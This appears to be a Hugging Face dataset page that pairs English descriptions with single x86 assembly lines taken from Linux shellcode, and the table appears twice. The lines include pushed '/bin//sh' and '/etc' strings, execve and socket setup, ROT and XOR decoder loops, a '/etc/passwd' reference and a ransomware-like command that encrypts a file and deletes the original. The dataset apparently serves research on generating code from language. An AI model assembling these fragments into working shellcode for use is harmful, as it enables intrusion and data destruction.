SoLID/shellcode_i_a32 · Datasets at Hugging Face

intent stringlengths 4 313	snippet stringlengths 2 271
move 0xdeadc0de into eax	mov eax, 0xdeadc0de
declare the bss section	section .bss
if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register	cmp eax, eax \n jne 0x8 \n xor eax, eax
move esi into edx	mov edx, esi
jump to the encrypt label	jmp encrypt
declare next_addr function	next_addr:
move a byte from al into memory address hexstr+edx+2	mov byte [hexstr+edx+2],al
allocate memory for a variable	sub esp, 4
call the set_argv function	call set_argv
jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e	cmp BYTE [edx], 0x2e \n jne l2
jump to the entrypoint label	jmp entrypoint
move 15 into lower byte of the eax register	mov al, 15
push the dword 0x64777373 onto the stack	push dword 0x64777373
point ebx to stack	mov ebx, esp
push the byte +0x66 onto the stack	push byte +0x66
define the string message and initialize it to '/etc/passwd'	message db '/etc/passwd'
set the edx register to null	xor edx, edx
jump short to shellcode	jmp short shellcode
if the contents of the dl register is not zero then jump to the label ready_to_proxy	test dl, 0x1 \n jnz ready_to_proxy
test the contents of the ecx register	test ecx, ecx
reserve a variable filename of 255 bytes	filename: resb 255
push 0x6d726574 onto the stack	push 0x6d726574
zero out eax and edx	xor edx, edx \n mul edx
make sys_exit kernel call	int 80h
push the word 0x5c11 onto the stack	push word 0x5c11
define the exit label	exit:
make the system call to install the signal handler	mov eax, 48
define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom \| base64 \| openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'	msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom \| base64 \| openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a
push the contents in ogin onto the stack	push ogin
if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register	cmp al, 0xf2 \n je _start \n mov eax, 0x50905090
add 10 to the contents of eax	add eax, 10
subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero	sub bl, 3 \n jnz stage
test the contents of the edx register	test edx, edx
jump to label done if equal	je done
move 23 into al	mov al, 23
define the _next label	_next:
move the contents of the esi register into the cx register	mov cx, [esi]
clear the edx register and push its contents onto the stack	xor edx, edx \n push edx
call the jmp_search function	call jmp_search
transfer the value 48 in the memory variable total	mov total, 48
pop the top of the stack into the esi register	pop esi
push the 0x76766c2d onto the stack	push 0x76766c2d
clear the ebx register and push its contents onto the stack	xor ebx, ebx \n push ebx
push 0x3a30754a onto the stack	push 0x3a30754a
declare the writestring label	writestring:
push the word 17 onto the stack and point edx to the stack register	push word 17 \n mov edx, esp
push 0x6e7a762d onto the stack	push 0x6e7a762d
push the dword 0x69622f2f onto the stack	push dword 0x69622f2f
swap the contents of the ecx register with the contents of the edx register	xchg ecx, edx
jump to the label socket if the contents of the eax register is zero	test eax, eax \n jz socket
push the word 0x632d onto the stack and point the edi register to the stack register	push word 0x632d \n mov edi, esp
jump to the call_decoded label if the zero flag is set	jz call_decoded
if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register	cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD
rotate 4 bits left the byte starting at the address esi	rol byte [esi], 4
push the byte 0x66 onto the stack	push byte 0x66
push ecx on the stack	push ecx
move 0x3 into cl	mov cl, 0x3
right shift the contents of the dl register by 1 bit	shr dl, 1
load the effective address of the result of the operation [esp +1] into the ebx register	lea ebx, [esp +1]
decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label	loop ROT_decode \n jmp short Shellcode
push the value 0x64687373 onto the stack and point the ecx register to the stack register	push 0x64687373 \n mov ecx, esp
move bufflen into edx	mov edx, bufflen
move esi into ecx	mov ecx, esi
move the contents of zero_reg into the memory location specified by the operation [ebp+20]	mov [ebp+20], zero_reg
push the byte 3h onto the stack	push byte 3h
perform a logical xor between the eax register and 0x58494741 and save the result in eax	xor eax, 0x58494741
execve system call number 11	mov al, 0xb
push the value of register edx onto the stack	push edx
push ax to the stack	push ax
move 0xfeffff80 into eax	mov eax, 0xfeffff80
move the value 0x732f636f into the double word starting at the address [esp-0x24]	mov dword [esp-0x24], 0x732f636f
declare var byte variable and initialize it to 32	var db 32
jump to the label old_dirent if the contents of the eax register is negative	test eax, eax \n js old_dirent
load the effective address [zero_reg+6] into eax	lea eax, [zero_reg+6]
push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register	push 0x6475732f \n push 0x6374652f \n mov edi, esp
push 0x706d742f to the stack	push 0x706d742f
move the contents of the ax register at the memory location specified by the operation [bp+0x3e]	mov [bp+0x3e], ax
pop the value on the stack back into ebx	pop ebx
make the kernel call	int 0x80
move the value 20 into bx	mov bx, 20
push the byte 0xc onto the stack	push byte 0xc
move the contents of the al register into the esi register	mov [esi], al
load the effective address [esi] into edi	lea edi, [esi]
move the value of upcase into ebx	mov ebx, upcase
go to file offset	mov eax, 19
declare the data section	section .data
push the dword [ebp+16] onto the stack	push dword [ebp+16]
divide eax by esi	div esi
push the double word 0x0a206873 onto the stack	push dword 0x0a206873
add 10 to the variable marks	add marks, 10
compare the contents of bl and 0x1f	cmp bl, 0x1f
push the value 0x6374652f onto the stack and point esi to the stack register	push 0x6374652f \n mov esi, esp
right shift the contents of eax register by 16 bit positions	shr eax, 16
move 0x68732f2f into esi	mov esi, 0x68732f2f
move ecx into edi	mov edi, ecx
clear the ah register	xor ah, ah
jump to label done if below or equal	jbe done
perform a bitwise and on the contents of the eax register	test eax, eax
swap the values of ebx and eax	xchg ebx, eax
define the byte string '/proc/sys/kernel/randomize_va_spacex'	db '/proc/sys/kernel/randomize_va_spacex'

move 0xdeadc0de into eax

mov eax, 0xdeadc0de

declare the bss section

section .bss

if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register

cmp eax, eax \n jne 0x8 \n xor eax, eax

move esi into edx

mov edx, esi

jump to the encrypt label

jmp encrypt

declare next_addr function

next_addr:

move a byte from al into memory address hexstr+edx+2

mov byte [hexstr+edx+2],al

allocate memory for a variable

sub esp, 4

call the set_argv function

call set_argv

jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e

cmp BYTE [edx], 0x2e \n jne l2

jump to the entrypoint label

jmp entrypoint

move 15 into lower byte of the eax register

mov al, 15

push the dword 0x64777373 onto the stack

push dword 0x64777373

point ebx to stack

mov ebx, esp

push the byte +0x66 onto the stack

push byte +0x66

define the string message and initialize it to '/etc/passwd'

message db '/etc/passwd'

set the edx register to null

xor edx, edx

jump short to shellcode

jmp short shellcode

if the contents of the dl register is not zero then jump to the label ready_to_proxy

test dl, 0x1 \n jnz ready_to_proxy

test the contents of the ecx register

test ecx, ecx

reserve a variable filename of 255 bytes

filename: resb 255

push 0x6d726574 onto the stack

push 0x6d726574

zero out eax and edx

xor edx, edx \n mul edx

make sys_exit kernel call

int 80h

push the word 0x5c11 onto the stack

push word 0x5c11

define the exit label

exit:

make the system call to install the signal handler

mov eax, 48

define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'

msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a

push the contents in ogin onto the stack

push ogin

if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register

cmp al, 0xf2 \n je _start \n mov eax, 0x50905090

add 10 to the contents of eax

add eax, 10

subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero

sub bl, 3 \n jnz stage

test the contents of the edx register

test edx, edx

jump to label done if equal

je done

move 23 into al

mov al, 23

define the _next label

_next:

move the contents of the esi register into the cx register

mov cx, [esi]

clear the edx register and push its contents onto the stack

xor edx, edx \n push edx

call the jmp_search function

call jmp_search

transfer the value 48 in the memory variable total

mov total, 48

pop the top of the stack into the esi register

pop esi

push the 0x76766c2d onto the stack

push 0x76766c2d

clear the ebx register and push its contents onto the stack

xor ebx, ebx \n push ebx

push 0x3a30754a onto the stack

push 0x3a30754a

declare the writestring label

writestring:

push the word 17 onto the stack and point edx to the stack register

push word 17 \n mov edx, esp

push 0x6e7a762d onto the stack

push 0x6e7a762d

push the dword 0x69622f2f onto the stack

push dword 0x69622f2f

swap the contents of the ecx register with the contents of the edx register

xchg ecx, edx

jump to the label socket if the contents of the eax register is zero

test eax, eax \n jz socket

push the word 0x632d onto the stack and point the edi register to the stack register

push word 0x632d \n mov edi, esp

jump to the call_decoded label if the zero flag is set

jz call_decoded

if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register

cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD

rotate 4 bits left the byte starting at the address esi

rol byte [esi], 4

push the byte 0x66 onto the stack

push byte 0x66

push ecx on the stack

push ecx

move 0x3 into cl

mov cl, 0x3

right shift the contents of the dl register by 1 bit

shr dl, 1

load the effective address of the result of the operation [esp +1] into the ebx register

lea ebx, [esp +1]

decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label

loop ROT_decode \n jmp short Shellcode

push the value 0x64687373 onto the stack and point the ecx register to the stack register

push 0x64687373 \n mov ecx, esp

move bufflen into edx

mov edx, bufflen

move esi into ecx

mov ecx, esi

move the contents of zero_reg into the memory location specified by the operation [ebp+20]

mov [ebp+20], zero_reg

push the byte 3h onto the stack

push byte 3h

perform a logical xor between the eax register and 0x58494741 and save the result in eax

xor eax, 0x58494741

execve system call number 11

mov al, 0xb

push the value of register edx onto the stack

push edx

push ax to the stack

push ax

move 0xfeffff80 into eax

mov eax, 0xfeffff80

move the value 0x732f636f into the double word starting at the address [esp-0x24]

mov dword [esp-0x24], 0x732f636f

declare var byte variable and initialize it to 32

var db 32

jump to the label old_dirent if the contents of the eax register is negative

test eax, eax \n js old_dirent

load the effective address [zero_reg+6] into eax

lea eax, [zero_reg+6]

push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register

push 0x6475732f \n push 0x6374652f \n mov edi, esp

push 0x706d742f to the stack

push 0x706d742f

move the contents of the ax register at the memory location specified by the operation [bp+0x3e]

mov [bp+0x3e], ax

pop the value on the stack back into ebx

pop ebx

make the kernel call

int 0x80

move the value 20 into bx

mov bx, 20

push the byte 0xc onto the stack

push byte 0xc

move the contents of the al register into the esi register

mov [esi], al

load the effective address [esi] into edi

lea edi, [esi]

move the value of upcase into ebx

mov ebx, upcase

go to file offset

mov eax, 19

declare the data section

section .data

push the dword [ebp+16] onto the stack

push dword [ebp+16]

divide eax by esi

div esi

push the double word 0x0a206873 onto the stack

push dword 0x0a206873

add 10 to the variable marks

add marks, 10

compare the contents of bl and 0x1f

cmp bl, 0x1f

push the value 0x6374652f onto the stack and point esi to the stack register

push 0x6374652f \n mov esi, esp

right shift the contents of eax register by 16 bit positions

shr eax, 16

move 0x68732f2f into esi

mov esi, 0x68732f2f

move ecx into edi

mov edi, ecx

clear the ah register

xor ah, ah

jump to label done if below or equal

jbe done

perform a bitwise and on the contents of the eax register

test eax, eax

swap the values of ebx and eax

xchg ebx, eax

define the byte string '/proc/sys/kernel/randomize_va_spacex'

db '/proc/sys/kernel/randomize_va_spacex'